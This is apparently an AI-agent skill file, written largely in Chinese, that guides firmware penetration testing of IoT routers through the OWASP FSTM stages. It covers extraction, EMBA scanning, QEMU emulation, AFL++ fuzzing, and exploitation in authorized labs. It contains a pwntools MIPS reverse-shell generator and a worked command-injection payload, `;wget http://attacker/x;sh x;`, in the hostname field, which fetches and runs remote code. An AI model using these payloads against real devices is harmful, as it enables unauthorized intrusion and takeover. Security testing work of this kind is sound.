bundled-skills/firmware-pentest/SKILL.md
Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne/QEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs.
npx skillsauth add FrancoStino/opencode-skills-antigravity firmware-pentestInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
下列任务进入本 skill:
| 场景 | 用什么 |
|------|--------|
| 从零拿到固件,全链路走 FSTM | 本 skill |
| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |
| APK / Android 固件(含 boot.img) | apk-reverse/(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | binary-diff/ |
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
关键判断:
/dev/ 节点缺失收集型号、芯片、SDK、已公开 CVE。
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
详见 references/extraction-methodology.md。
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
EMBA 一键扫,详见 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手工补:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
详见 references/emulation-and-fuzz.md。
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin
仿真起来后挂调试器、抓流量、跑 fuzz。
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
写 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
- 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
Step 2 获取固件
- 官网下载 .bin,sha256 与已知样本对比
Step 3 分析
- binwalk → 检出 uImage + squashfs-xz
- 熵图 → squashfs 段熵 ~0.95(正常压缩)
Step 4 提取
- binwalk -eM router_v1.2.3.bin
- 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫
- 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
- 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真
- sudo fat.py router_v1.2.3.bin
- 仿真起来 IP 192.168.0.1,Web 可访问
Step 7-8 动态
- Burp 抓 /cgi-bin/luci 系列接口
- 发现 hostname 参数直拼 system
Step 9 利用
- 构造 hostname=`;wget http://attacker/x;sh x;`
- 仿真态成功反弹 shell
- 真机复测通过 → 提报 SRC
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
- 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 启动时按键进 U-Boot
- md.b 0x80000000 0x1000 # 读内存
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill(IDA / Ghidra)
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程
- binwalk decrypted.bin → 看到 squashfs
- 后续与场景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一级 ROM 文档
- SoC 有安全启动 → 看公开 fault injection / glitch 资料
| 工具 | 用途 | 自动安装 | |------|------|---------| | binwalk v3 | 主提取(Rust 重写版) | ✓ | | binwalk v2 | 兼容老插件 | ✓ | | unblob | 兜底提取 | ✓ | | jefferson | JFFS2 提取 | ✓ | | ubi_reader | UBI / UBIFS 提取 | ✓ | | EMBA | 自动化分析框架 | ✓ | | Firmadyne | 全系统仿真 | ✓ | | FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ | | qemu-user-static | 用户态仿真 | ✓ | | qemu-system-* | 全系统仿真 | ✓ | | AFL++ | 模糊测试 | ✓ | | pwntools | 漏洞利用脚本 | ✓ | | flashrom | SPI flash 读写 | ✓ | | picocom | UART 串口 | ✓ |
# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)
cargo install binwalk
# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
固件渗透链强依赖 Linux 工具,建议:
上游入口: skills/SKILL.md(总控)、routing.md
触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
下游出口:
reverse-engineering/、ida-reverse/、radare2/pentest-tools/、attack-chain/binary-diff/patterns-hardware.mdapk-reverse/同级关联: pentest-tools/(Web 利用阶段配合)、attack-chain/(跨阶段攻击链规划)
参考文档:
references/extraction-methodology.md — 提取细节与失败兜底references/emba-automated-analysis.md — EMBA 全流程references/emulation-and-fuzz.md — 仿真 + fuzz 实战tool-index 使用了真实工具路径?Adapted from zhaoxuya520/reverse-skill (MIT).
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